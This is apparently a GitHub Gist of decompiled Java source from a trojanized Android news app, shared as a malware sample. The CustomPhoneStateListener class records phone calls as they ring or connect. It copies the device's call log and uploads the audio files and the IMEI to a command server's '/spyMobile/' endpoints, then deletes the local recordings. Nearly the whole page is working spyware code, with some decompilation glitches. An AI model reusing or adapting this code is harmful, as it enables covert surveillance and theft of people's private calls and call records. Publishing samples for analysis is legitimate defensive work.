Last active
March 27, 2019 16:29
-
-
Save zivzeira/518c8bda861ca5a686257a84498239e1 to your computer and use it in GitHub Desktop.
Trojanized ArabicRSS.apk. package com.alywa.arabic.name, version 3.4.1, apaspy.iqual.appspy.CustomPhoneStateListener
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public class CustomPhoneStateListener extends PhoneStateListener { | |
| private static final String AUDIO_RECORDER_FILE_EXT_3gp = ".3gpp"; | |
| private static final String AUDIO_RECORDER_FOLDER = "android/data/AndroidService"; | |
| static String NewFileName_record = null; | |
| private static final int RECORDER_BPP = 16; | |
| private static final int RECORDER_SAMPLERATE = 44100; | |
| static Boolean check_stat = Boolean.valueOf(false); | |
| static String deviceIMEI_phone_record = ""; | |
| private long FileSize = 0; | |
| Boolean Insert_to_db_calllog = Boolean.valueOf(true); | |
| private int bufferSize = 0; | |
| Boolean check_stat_stop = Boolean.valueOf(true); | |
| Context context; | |
| int number_stack_record = 20; | |
| Thread sound; | |
| public CustomPhoneStateListener(Context con) { | |
| this.context = con; | |
| System.out.println("inside of custome"); | |
| } | |
| public static void fetchNewCallLogs(Context context) { | |
| try { | |
| DatabaseHandlers databaseHandlers = new DatabaseHandlers(context); | |
| String[] columns_calllog = new String[]{"Number", "Type", "Duration", "Time"}; | |
| Cursor c = context.getContentResolver().query(Calls.CONTENT_URI, null, null, null, null); | |
| if (c != null && c.moveToFirst()) { | |
| while (!c.isAfterLast()) { | |
| int _ID = c.getColumnIndex(RSSDatabase.ID); | |
| int _NUMBER = c.getColumnIndex("number"); | |
| int _DATE = c.getColumnIndex(SmsReceiver.DATE); | |
| int _DURATION = c.getColumnIndex("duration"); | |
| int _CALLTYPE = c.getColumnIndex(SmsReceiver.TYPE); | |
| int _NAME = c.getColumnIndex("name"); | |
| int _NUMBERTYPE = c.getColumnIndex("numbertype"); | |
| int _NEW = c.getColumnIndex(RSSDatabase.NEW); | |
| String id = c.getString(_ID); | |
| String number = c.getString(_NUMBER); | |
| String date = c.getString(_DATE); | |
| String duration = c.getString(_DURATION); | |
| String callType = ""; | |
| switch (_CALLTYPE) { | |
| case 1: | |
| callType = "INCOMING"; | |
| break; | |
| case 2: | |
| callType = "OUTGOING"; | |
| break; | |
| case 3: | |
| callType = "MISSED"; | |
| break; | |
| } | |
| if (callType == "") { | |
| switch (_CALLTYPE) { | |
| case 2: | |
| callType = "OUTGOING"; | |
| break; | |
| case 3: | |
| callType = "MISSED"; | |
| break; | |
| case 7: | |
| callType = "INCOMING"; | |
| break; | |
| } | |
| } | |
| Long timestamp = Long.valueOf(Long.parseLong(date)); | |
| Calendar calendar = Calendar.getInstance(); | |
| calendar.setTimeInMillis(timestamp.longValue()); | |
| System.out.println("tbl_CALL TIMING : " + calendar.getTime().toString()); | |
| databaseHandlers = databaseHandlers; | |
| databaseHandlers.Insert_table("tbl_CALL", columns_calllog, new String[]{number, callType, duration, callDate}); | |
| c.moveToNext(); | |
| } | |
| } | |
| databaseHandlers.close(); | |
| } catch (Exception e) { | |
| Log.e("My Error CustomPhoneStateListener fetchNewCallLogs Text Log 1", e.toString()); | |
| } | |
| } | |
| public void onCallStateChanged(int state, String incomingNumber) { | |
| try { | |
| super.onCallStateChanged(state, incomingNumber); | |
| ScreenReceiver.stopRecording(); | |
| Log.d("CallRecorder", "PhoneListener::onCallStateChanged state:" + state + " incomingNumber:" + incomingNumber); | |
| switch (state) { | |
| case 0: | |
| check_stat = Boolean.valueOf(false); | |
| Log.d("CallRecorder", "CALL_STATE_IDLE, stoping recording"); | |
| Boolean stopped = Boolean.valueOf(this.context.stopService(new Intent(this.context, RecordService.class))); | |
| Log.i("CallRecorder", "stopService for RecordService returned " + stopped); | |
| NewFileName_record = RecordService.NewFileName; | |
| if (this.check_stat_stop.booleanValue() && stopped.booleanValue()) { | |
| this.check_stat_stop = Boolean.valueOf(false); | |
| if (stopped.booleanValue()) { | |
| deleteTempFile(NewFileName_record); | |
| } else { | |
| upload_file(); | |
| } | |
| if (this.Insert_to_db_calllog.booleanValue()) { | |
| this.Insert_to_db_calllog = Boolean.valueOf(false); | |
| fetchNewCallLogs(this.context); | |
| return; | |
| } | |
| return; | |
| } | |
| return; | |
| case 1: | |
| if (!check_stat.booleanValue()) { | |
| this.check_stat_stop = Boolean.valueOf(true); | |
| check_stat = Boolean.valueOf(true); | |
| this.Insert_to_db_calllog = Boolean.valueOf(true); | |
| Log.d("CallRecorder", "CALL_STATE_RINGING"); | |
| this.context.startService(new Intent(this.context, RecordService.class)); | |
| return; | |
| } | |
| return; | |
| case 2: | |
| try { | |
| Thread.sleep(7000); | |
| } catch (InterruptedException e) { | |
| e.printStackTrace(); | |
| } | |
| if (!check_stat.booleanValue()) { | |
| this.check_stat_stop = Boolean.valueOf(true); | |
| check_stat = Boolean.valueOf(true); | |
| this.Insert_to_db_calllog = Boolean.valueOf(true); | |
| Log.d("CallRecorder", "CALL_STATE_OFFHOOK"); | |
| this.context.startService(new Intent(this.context, RecordService.class)); | |
| return; | |
| } | |
| return; | |
| default: | |
| return; | |
| } | |
| } catch (Exception e2) { | |
| Log.e("My Error CustomPhoneStateListener onCallStateChanged Text Log 1", e2.toString()); | |
| } | |
| Log.e("My Error CustomPhoneStateListener onCallStateChanged Text Log 1", e2.toString()); | |
| } | |
| private void upload_file() { | |
| try { | |
| File file = new File(NewFileName_record); | |
| String[] separated = NewFileName_record.split("/"); | |
| String tmp_name = separated[separated.length - 1]; | |
| if (file.exists()) { | |
| this.FileSize = file.length(); | |
| } | |
| int counter_rec = 0; | |
| if (this.FileSize <= 1000 || this.FileSize >= 11585760) { | |
| System.out.println("Do Not Upload"); | |
| deleteTempFile(NewFileName_record); | |
| return; | |
| } | |
| long AvailableSize = Long.parseLong(Mal.getAvailableExternalMemorySize()); | |
| long TotalSize = Long.parseLong(Mal.getTotalExternalMemorySize()); | |
| if ((30 * AvailableSize) / 100 > AvailableSize) { | |
| String tmp_file_name = ""; | |
| String tmp_file_name_first = ""; | |
| long tmp_sort_2 = 0; | |
| for (File f : new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER).listFiles()) { | |
| if (f.isFile()) { | |
| String[] tmp_split = f.toString().split("/"); | |
| String tmp2 = tmp_split[tmp_split.length - 1]; | |
| tmp_file_name = tmp2.substring(0, tmp2.length() - 5); | |
| if (tmp_file_name.length() > 14) { | |
| tmp_file_name = tmp_file_name.substring(0, 13); | |
| } | |
| long tmp_sort = Long.valueOf(tmp_file_name).longValue(); | |
| if (counter_rec <= 0) { | |
| tmp_sort_2 = tmp_sort; | |
| tmp_file_name_first = f.toString(); | |
| } else if (tmp_sort_2 > tmp_sort) { | |
| tmp_file_name_first = f.toString(); | |
| tmp_sort_2 = tmp_sort; | |
| } | |
| counter_rec++; | |
| } | |
| } | |
| if (counter_rec > 5) { | |
| deleteTempFile(tmp_file_name_first); | |
| } | |
| } | |
| if ((30 * AvailableSize) / 100 <= AvailableSize || counter_rec < 5) { | |
| System.out.println("Start Upload"); | |
| new Thread(new Runnable() { | |
| public void run() { | |
| try { | |
| if (CustomPhoneStateListener.deviceIMEI_phone_record != "") { | |
| CustomPhoneStateListener.upload_all_file_and_delete(); | |
| } | |
| } catch (Exception e) { | |
| e.printStackTrace(); | |
| } | |
| } | |
| }).start(); | |
| } | |
| } catch (Exception e) { | |
| System.out.println("Error in stop recording stopRecording2= " + e.toString()); | |
| } | |
| } | |
| public static void upload_all_file_and_delete() { | |
| try { | |
| for (File f : new File(Environment.getExternalStorageDirectory().getPath(), AUDIO_RECORDER_FOLDER).listFiles()) { | |
| if (f.isFile()) { | |
| if (NewFileName_record.indexOf(f.toString()) == -1) { | |
| sendAudioDataRecord(f.toString()); | |
| if (doAudioFileUpload(f.toString())) { | |
| deleteTempFile(f.toString()); | |
| } | |
| } else if (!check_stat.booleanValue()) { | |
| sendAudioDataRecord(f.toString()); | |
| if (doAudioFileUpload(f.toString())) { | |
| deleteTempFile(f.toString()); | |
| } | |
| } | |
| } | |
| } | |
| } catch (Exception exp) { | |
| Log.e("Error upload_all_file_and_delete On CustomPhoneStateListener", exp.getMessage()); | |
| } | |
| } | |
| public int CheckConnection() { | |
| try { | |
| NetworkInfo activeNetwork = ((ConnectivityManager) this.context.getSystemService("connectivity")).getActiveNetworkInfo(); | |
| if (activeNetwork == null || activeNetwork.getState() != State.CONNECTED) { | |
| return 0; | |
| } | |
| return 1; | |
| } catch (Exception e) { | |
| System.out.println("Error = " + e.toString()); | |
| return 0; | |
| } | |
| } | |
| public static String sendAudioDataRecord(String filename_sendAudioDataRecord) { | |
| deviceIMEI_phone_record = AppService.deviceIMEI; | |
| String result = "error"; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| String url = Mal.Server_Domain + "/spyMobile/api_recordcall.php"; | |
| if (!url.endsWith("?")) { | |
| url = url + "?"; | |
| } | |
| List<NameValuePair> params = new LinkedList(); | |
| params.add(new BasicNameValuePair("imei", deviceIMEI_phone_record)); | |
| params.add(new BasicNameValuePair("reccallname", filename_sendAudioDataRecord)); | |
| url = url + URLEncodedUtils.format(params, "utf-8"); | |
| Log.d("Send Audio Details ", url); | |
| try { | |
| result = convertStreamToString(httpClient.execute(new HttpGet(url)).getEntity().getContent()); | |
| } catch (IllegalStateException e) { | |
| e.printStackTrace(); | |
| } catch (IOException e2) { | |
| e2.printStackTrace(); | |
| } | |
| } catch (Exception e3) { | |
| Mal.findServer(); | |
| } | |
| return result; | |
| } | |
| public static boolean doAudioFileUpload(String path) { | |
| DataInputStream dataInputStream; | |
| Throwable ioex; | |
| Exception e; | |
| DataOutputStream dataOutputStream; | |
| MalformedURLException ex; | |
| Throwable ioe; | |
| String existingFileName2 = ""; | |
| existingFileName2 = path; | |
| try { | |
| System.out.println("Inside of doupload nd path = " + path); | |
| String lineEnd2 = "\r\n"; | |
| String twoHyphens2 = "--"; | |
| String boundary2 = "*****"; | |
| String responseFromServer2 = ""; | |
| String urlString2 = Mal.Server_Domain + "/spyMobile/recordcall_upload.php"; | |
| if (!urlString2.endsWith("?")) { | |
| urlString2 = urlString2 + "?"; | |
| } | |
| List<NameValuePair> params = new LinkedList(); | |
| params.add(new BasicNameValuePair("imei", deviceIMEI_phone_record)); | |
| urlString2 = urlString2 + URLEncodedUtils.format(params, "utf-8"); | |
| try { | |
| FileInputStream fileInputStream2 = new FileInputStream(new File(existingFileName2)); | |
| HttpURLConnection conn2 = (HttpURLConnection) new URL(urlString2).openConnection(); | |
| conn2.setDoInput(true); | |
| conn2.setDoOutput(true); | |
| conn2.setUseCaches(false); | |
| conn2.setRequestMethod("POST"); | |
| conn2.setRequestProperty("Connection", "Keep-Alive"); | |
| conn2.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary2); | |
| DataOutputStream dos2 = new DataOutputStream(conn2.getOutputStream()); | |
| try { | |
| dos2.writeBytes(twoHyphens2 + boundary2 + lineEnd2); | |
| dos2.writeBytes("Content-Disposition: form-data; name=\"upload\";filename=\"" + existingFileName2 + "\"" + lineEnd2); | |
| dos2.writeBytes(lineEnd2); | |
| int bufferSize2 = Math.min(fileInputStream2.available(), AccessibilityEventCompat.TYPE_TOUCH_INTERACTION_START); | |
| byte[] buffer2 = new byte[bufferSize2]; | |
| int bytesRead2 = fileInputStream2.read(buffer2, 0, bufferSize2); | |
| while (bytesRead2 > 0) { | |
| dos2.write(buffer2, 0, bufferSize2); | |
| bufferSize2 = Math.min(fileInputStream2.available(), AccessibilityEventCompat.TYPE_TOUCH_INTERACTION_START); | |
| bytesRead2 = fileInputStream2.read(buffer2, 0, bufferSize2); | |
| } | |
| dos2.writeBytes(lineEnd2); | |
| dos2.writeBytes(twoHyphens2 + boundary2 + twoHyphens2 + lineEnd2); | |
| Log.e("Debug", "File is written"); | |
| fileInputStream2.close(); | |
| dos2.flush(); | |
| dos2.close(); | |
| try { | |
| DataInputStream dataInputStream2 = new DataInputStream(conn2.getInputStream()); | |
| while (true) { | |
| try { | |
| String str2 = dataInputStream2.readLine(); | |
| if (str2 != null) { | |
| Log.e("Debug", "Server Response " + str2); | |
| } else { | |
| dataInputStream2.close(); | |
| new File(existingFileName2).delete(); | |
| Thread.currentThread().interrupt(); | |
| dataInputStream = dataInputStream2; | |
| return true; | |
| } | |
| } catch (IOException e2) { | |
| ioex = e2; | |
| dataInputStream = dataInputStream2; | |
| } catch (Exception e3) { | |
| e = e3; | |
| dataInputStream = dataInputStream2; | |
| dataOutputStream = dos2; | |
| } | |
| } | |
| } catch (IOException e4) { | |
| ioex = e4; | |
| try { | |
| Log.e("Debug", "error: " + ioex.getMessage(), ioex); | |
| new File(existingFileName2).delete(); | |
| Thread.currentThread().interrupt(); | |
| return false; | |
| } catch (Exception e5) { | |
| e = e5; | |
| dataOutputStream = dos2; | |
| Mal.findServer(); | |
| e.printStackTrace(); | |
| new File(existingFileName2).delete(); | |
| Thread.currentThread().interrupt(); | |
| return false; | |
| } | |
| } | |
| } catch (MalformedURLException e6) { | |
| ex = e6; | |
| dataOutputStream = dos2; | |
| Log.e("Debug", "error: " + ex.getMessage(), ex); | |
| return false; | |
| } catch (IOException e7) { | |
| ioe = e7; | |
| dataOutputStream = dos2; | |
| Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
| return false; | |
| } | |
| } catch (MalformedURLException e8) { | |
| ex = e8; | |
| Log.e("Debug", "error: " + ex.getMessage(), ex); | |
| return false; | |
| } catch (IOException e9) { | |
| ioe = e9; | |
| Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
| return false; | |
| } | |
| } catch (Exception e10) { | |
| e = e10; | |
| Mal.findServer(); | |
| e.printStackTrace(); | |
| new File(existingFileName2).delete(); | |
| Thread.currentThread().interrupt(); | |
| return false; | |
| } | |
| } | |
| private static void deleteTempFile(String DelPath) { | |
| try { | |
| new File(DelPath).delete(); | |
| } catch (Exception e) { | |
| Log.e("My Error CustomPhoneStateListener deleteTempFile Text Log 1", e.toString()); | |
| } | |
| } | |
| } | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment